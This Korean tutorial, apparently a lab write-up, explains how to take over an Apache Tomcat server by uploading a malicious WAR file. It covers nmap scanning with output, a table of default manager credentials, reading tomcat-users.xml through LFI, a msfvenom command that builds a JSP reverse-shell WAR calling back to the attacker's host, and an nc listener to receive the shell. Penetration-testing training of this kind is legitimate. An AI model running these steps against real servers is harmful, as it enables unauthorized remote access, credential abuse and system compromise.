WAR 파일을 이용한 Tomcat RCE 취약점

WAR 파일은 Web Application aRchive 의 약자로, 웹 애플리케이션을 이루는 요소들을 아카이브한 JAR 파일이다. Tomcat 서버에서는 사용자가 WAR 파일을 업로드, 실행할 수 있는 기능을 제공하는데, 만약 공격자가 악의적으로 제작한 WAR 파일을 업로드할 수 있다면 리버스 셸을 생성할 수도 있다.
이 글에서는 Tomcat 을 운영 중인 웹서버에 WAR 파일을 업로드하고, 리버스셸을 생성하는 방법에 대해 설명한다.

Tomcat 운영 여부
우선 공격할 서버에서 Tomcat 을 운영 중인지 확인해야 한다. Tomcat은 기본적으로 8080 번 포트를 사용한다.
8080 번 포트를 사용하지 않는 경우에는 nmap 과 같은 전통적인 스캐닝 뤁을 이용하여 Tomcat 서버 운영 여부를 확인할 수 있다.
$ sudo nmap -p- -sV -sC -Pn 10.10.10.95
Starting Nmap 7.93 ( https://nmap.org ) at 2024-10-27 10:36 EDT
Nmap scan report for 10.10.10.95
Host is up (0.20s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
|_http-title: Apache Tomcat/7.0.88
|_http-server-header: Apache-Coyote/1.1
|_http-favicon: Apache Tomcat
또는 curl 명령어 실행 결과로 출력되는 Tomcat 버전을 통해 운영 여부를 확인할 수 있다.
curl -s http://{공격 대상 서버 주소}:{port 번호}/docs/ | grep Tomcat
manage 페이지
기본적으로 manager 페이지는 /manager/html
이나, 관리자의 설정에 따라 다른 경로를 가질 수도 있다.

일반적으로 Tomcat 의 manager 페이지에 접속하기 위해서는 인증 정보가 필요하다.

만약 서버 운영자가 ID, Password 를 변경하지 않았다면 다음과 같은 default credential 로 접속할 수 있다.
Username | Password |
---|---|
admin | password |
admin | |
admin | Password1 |
admin | password1 |
admin | admin |
admin | tomcat |
both | tomcat |
manager | manager |
role1 | role1 |
role1 | tomcat |
role | changethis |
root | Password1 |
root | changethis |
root | password |
root | password1 |
root | r00t |
root | root |
root | toor |
tomcat | tomcat |
tomcat | s3cret |
tomcat | password1 |
tomcat | password |
tomcat | |
tomcat | admin |
tomcat | changethis |
default credential 로 접속이 불가능할 경우, LFI와 같은 다른 공격을 시도하여 tomcat-users.xml
파일에서 ID, Password 를 찾을 수도 있다.
tomcat-users.xml
파일에는 여러 설정 데이터가 존재하나, 우리가 확인해야할 것은 <role>
과 <user>
다. <role>
은 현재 서버에서 활성화된 기능(역할)을 의미하며, <user>
는 manager 페이지에 접속 가능한 사용자의 인증 정보와 사용자에게 부여된 기능을 의미한다.
<role rolename="admin-script"/>
<role rolename="manager-gui"/>
<role rolename="manager-status"/>
<user username="myusername" password="mypassword" roles="admin-gui,admin-script,manager-gui,manager-status"/>
각 role 은 다음과 같은 기능을 가진다.
- manager-gui : HTML 인터페이스에 대한 접근.
- manager-status : 서버 상태 페이지에 대한 접근.
- manager-script : CLI 툴을 이용한 접근.
Build malicious WAR file
Metasloit 을 이용하면 손쉽게 리버스셸을 생성하는 WAR 파일을 빌드할 수 있다. LHOST
에 로컬 호스트 IP, LPORT
에 로컬 호스트 포트, -o
옵션에 빌드된 WAR 파일의 이름을 지정하면 된다.
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST={Local Host IP} LPORT={Local Host Port} -f war -o {output file}
빌드한 WAR 파일은 manager 페이지의 WAR file to deploy
에서 Browse
버튼을 클릭하여 선택한 후, Deploy
버튼을 클릭하여 업로드 가능하다.

Establish Reverse shell
앞서 생성한 WAR 파일은 리버스셸을 생성하므로, WAR 파일 업로드 후 실행하기 전에 로컬 호스트에서는 미리 리버스셸을 받을 준비를 해야한다.
$ nc -lnvp {Local Host Port}
업로드한 WAR 파일은 manager 페이지의 상단에서 확인 가능하다. 예제에서는 revshell
이라는 이름의 WAR 파일을 업로드하여 /revshell
이라는 경로로 저장된 것을 확인할 수 있다. 해당 경로 링크를 클릭하면 WAR 파일이 실행되며, 리버스셸이 생성된다.
